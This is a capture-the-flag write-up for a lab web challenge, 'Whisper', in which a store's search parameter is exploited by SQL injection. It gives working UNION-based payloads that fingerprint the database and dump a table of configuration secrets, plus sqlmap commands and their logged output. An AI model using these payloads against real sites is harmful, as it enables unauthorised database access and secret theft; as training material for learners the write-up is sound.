Whisper

Whisper Market's online product catalog. The database behind the storefront holds more than just inventory.

Room Description

Whisper — figure 1

https://dashboard.webverselabs-pro.com/challenges/whisper

Scenario

Whisper Market prides itself on a fast, searchable product catalog. But their backend stores sensitive configuration data alongside the product listings. Find what they didn't mean to expose.

Objective

Whisper Market's online product catalog. The database behind the storefront holds more than just inventory.

Initial Analysis

This is a fully fleshed out working marketplace / store.

Whisper — figure 2

We have a few endpoints, but there are actual products, and we can add items to our cart.

<div class="navbar-links">
                <a href="/" class="active">Home</a>
                <a href="/products" class="">Products</a>
                <a href="/search" class="">Search</a>
                <a href="/about" class="">About</a>
            </div>
Whisper — figure 3

There are also category filters for the products:

Whisper — figure 4

Finding the bug

/about

Okay, going through the fluff endpoints first:

Whisper — figure 5

We have a goal, story, team and contact e-mail address at the end.

/products

This could be seen as a red herring, since there is a category filter that can trick you into thinking this might be a blind SQLi based on the order of the products, but as per methodology, the goal is to go through the entire web application and assess the most probable entry way.

Whisper — figure 6

With the following in mind:

Whisper Market prides itself on a fast, searchable product catalog.

It would make the most sense to evaluate the search feature.

Let's throw in a lil quote here and there to see what it does and whether it errors out.

Whisper — figure 7

Hm, no results found, interesting, it might be working properly then?

Let's throw in an always true statement, just to double check, you know?

' OR 1=1 --
Whisper — figure 8

Well, well, well, a vulnerable search parameter. Let's ascertain what kind of DBMS we are working with. We can see that we have 2 columns, one called product and one called price, so we won't bother with ORDER BY statements or UNION SELECT statements to get the number of columns, we can just guess.

The query used in the background is probably something along the lines of:

SELECT name, price FROM products WHERE name LIKE '%<input>%'

Now let's try some payloads to get information about the database.

If it's SQLite:

' UNION SELECT name,2 FROM sqlite_master--

If it's MySQL:

' UNION SELECT database(),2--

If it's MSSQL:

' UNION SELECT @@version,2--

If it's PostgreSQL:

' UNION SELECT version(),2--

And we get a hit for our first payload!

Whisper — figure 9

We have 3 more results, so let's scroll down and see.

Whisper — figure 10

Exploitation

We can go about this two ways, save the request, send it to sqlmap, and let it do the job for us, or we can just do it manually.

Manual route

This route is 10 times faster than just letting sqlmap rip without adding things like which DBMS it is, what the table is called and all that, so a human touch is always nice.

Since we now have information on 3 table names:

  • app_config
  • products
  • sqlite_autoindex_app_config_1

Let's try to enumerate the structure of app_config.

' UNION SELECT sql,2 FROM sqlite_master WHERE name='app_config'--
Whisper — figure 11
CREATE TABLE app_config ( id INTEGER PRIMARY KEY, key TEXT UNIQUE, value TEXT )

So we have id, key and value as the data we need to extract.

We only have 2 columns to show output, so let's get key and value:

' UNION SELECT key,value FROM app_config--
Whisper — figure 12

and we get the following 5 new rows in our search output:

Whisper — figure 13

Automated route

So we save one of our dummy requests that we sent for the search parameter and fire up sqlmap.

GET /search?q=test HTTP/2
Host: 64698bf2-3970-whisper-2ce04.challenges.webverselabs-pro.com
Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://64698bf2-3970-whisper-2ce04.challenges.webverselabs-pro.com/search
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i


sqlmap -r req --level 5 --risk 3

Unfortunately, it initially finds the vulnerability, but afterwards it marks it as a false positive:

[06:05:00] [INFO] GET parameter 'q' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
[06:11:14] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[06:11:15] [WARNING] false positive or unexploitable injection point detected
[06:11:15] [WARNING] GET parameter 'q' does not seem to be injectable

and even if you specify the DBMS, it still doesn't find it.

Let's try to give it some more help.

sqlmap -r req \
--dbms=SQLite \
--level=5 \
--risk=3 \
--technique=U \
--string="results found"

And unfortunately, it still doesn't work, if we supply more information, at that point, it's basically us doing it manual, there is surely a way to make it work, but the goal of the comparison was to point out that sometimes manual extraction is better and faster, especially if the data you need to extract isn't that large, automation has it's faults :D.

┌──(kali㉿kali)-[~/…/2026/ctf/webverse/whisper]
└─$ sqlmap -r req \
--dbms=SQLite \
--level=5 \
--risk=3 --union-cols=2
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.10#stable}                                                                             
|_ -| . [.]     | .'| . |                                                                                           
|___|_  [)]_|_|_|__,|  _|                                                                                           
      |_|V...       |_|   https://sqlmap.org                                                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:34:08 /2026-04-29/

[06:34:08] [INFO] parsing HTTP request from 'req'
[06:34:08] [INFO] testing connection to the target URL
got a 301 redirect to 'https://64698bf2-3970-whisper-2ce04.challenges.webverselabs-pro.com/search?q=test'. Do you want to follow? [Y/n] y
[06:34:11] [INFO] testing if the target URL content is stable
[06:34:11] [WARNING] GET parameter 'q' does not appear to be dynamic
[06:34:12] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[06:34:13] [INFO] testing for SQL injection on GET parameter 'q'
[06:34:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:20] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[06:36:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[06:36:37] [INFO] GET parameter 'q' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable 
[06:36:37] [INFO] testing 'Generic inline queries'
[06:36:38] [INFO] testing 'SQLite inline queries'
[06:36:39] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[06:36:39] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[06:36:40] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[06:36:41] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[06:36:41] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'
[06:36:42] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query - comment)'
[06:36:42] [INFO] testing 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)'
[06:36:42] [INFO] testing 'Generic UNION query (NULL) - 2 to 2 columns (custom)'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[06:37:41] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[06:37:41] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[06:37:42] [WARNING] false positive or unexploitable injection point detected
[06:37:42] [WARNING] GET parameter 'q' does not seem to be injectable
[06:37:42] [WARNING] parameter 'Host' does not appear to be dynamic
[06:37:42] [WARNING] heuristic (basic) test shows that parameter 'Host' might not be injectable
[06:37:43] [INFO] testing for SQL injection on parameter 'Host'
[06:37:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:38:05] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] 
[06:38:06] [ERROR] user quit